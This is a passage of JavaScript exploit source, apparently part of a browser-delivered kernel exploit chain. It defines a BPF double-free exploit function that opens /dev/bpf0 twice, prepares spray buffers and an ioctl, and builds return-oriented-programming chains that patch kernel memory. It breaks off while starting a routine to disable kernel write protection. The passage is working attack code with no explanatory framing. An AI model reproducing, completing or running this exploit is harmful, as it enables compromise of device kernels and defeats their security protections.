| 367 | window.kernel_offsets = kernel_offsets; |
| 368 | window.kernel_patches = kernel_patches; |
| 369 | function kernExploit_bpf_double_free() { |
| 370 | var kernel_dump_size = 0x69B8000; |
| 371 | var fd = p.syscall("sys_open", p.stringify("/dev/bpf0"), 2).low; |
| 372 | if (fd == (-1 >>> 0)) |
| 373 | throw "Failed to open first /dev/bpf0 device!"; |
| 374 | var fd1 = p.syscall("sys_open", p.stringify("/dev/bpf0"), 2).low; |
| 375 | if (fd1 < 0) |
| 376 | throw "Failed to open second /dev/bpf0 device!"; |
| 377 | var bpf_valid_instructions = p.malloc32(0x4000); |
| 378 | var bpf_valid_u32 = bpf_valid_instructions.backing; |
| 379 | for (var i = 0; i < 0x400; ) { |
| 380 | bpf_valid_u32[i++] = 6; |
| 381 | bpf_valid_u32[i++] = 0; |
| 382 | } |
| 383 | var bpf_valid_prog = p.malloc(0x40); |
| 384 | p.write8(bpf_valid_prog.add32(0x00), 0x800 / 8); |
| 385 | p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions); |
| 386 | var bpf_spray_instructions = p.malloc32(0x4000); |
| 387 | var bpf_spray_prog = p.malloc(0x40); |
| 388 | p.write8(bpf_spray_prog.add32(0x00), 0x800 / 8); |
| 389 | p.write8(bpf_spray_prog.add32(0x08), bpf_spray_instructions); |
| 390 | if (p.syscall("sys_ioctl", fd, 0x8010427B, bpf_valid_prog).low != 0) |
| 391 | throw "Failed to open bpf device!"; |
| 392 | var krop = new rop(); |
| 393 | var kscratch = p.malloc32(0x1000); |
| 394 | var ctxp = p.malloc32(0x1000); |
| 395 | var ctxp1 = p.malloc32(0x1000); |
| 396 | var ctxp2 = p.malloc32(0x1000); |
| 397 | var kpatch = function (dest_offset, patch_data_qword) { |
| 398 | krop.push(window.gadgets["pop rax"]); |
| 399 | krop.push(dest_offset); |
| 400 | krop.push(window.gadgets["pop rdi"]); |
| 401 | krop.push(kscratch); |
| 402 | krop.push(window.gadgets["add rax, [rdi]"]); |
| 403 | krop.push(window.gadgets["mov rdx, rax"]); |
| 404 | krop.push(window.gadgets["pop rax"]); |
| 405 | krop.push(patch_data_qword); |
| 406 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 407 | }; |
| 408 | var kpatch2 = function (dest_offset, src_offset) { |
| 409 | krop.push(window.gadgets["pop rax"]); |
| 410 | krop.push(kscratch); |
| 411 | krop.push(window.gadgets["mov rax, [rax]"]); |
| 412 | krop.push(window.gadgets["pop rcx"]); |
| 413 | krop.push(dest_offset); |
| 414 | krop.push(window.gadgets["add rax, rcx"]); |
| 415 | krop.push(window.gadgets["mov rdx, rax"]); |
| 416 | krop.push(window.gadgets["pop rax"]); |
| 417 | krop.push(kscratch); |
| 418 | krop.push(window.gadgets["mov rax, [rax]"]); |
| 419 | krop.push(window.gadgets["pop rcx"]); |
| 420 | krop.push(src_offset); |
| 421 | krop.push(window.gadgets["add rax, rcx"]); |
| 422 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 423 | }; |
| 424 | var disable_kernel_write_protection = function () { |
| 425 | krop.push(window.gadgets["pop rax"]); |
| 426 | krop.push(kscratch); |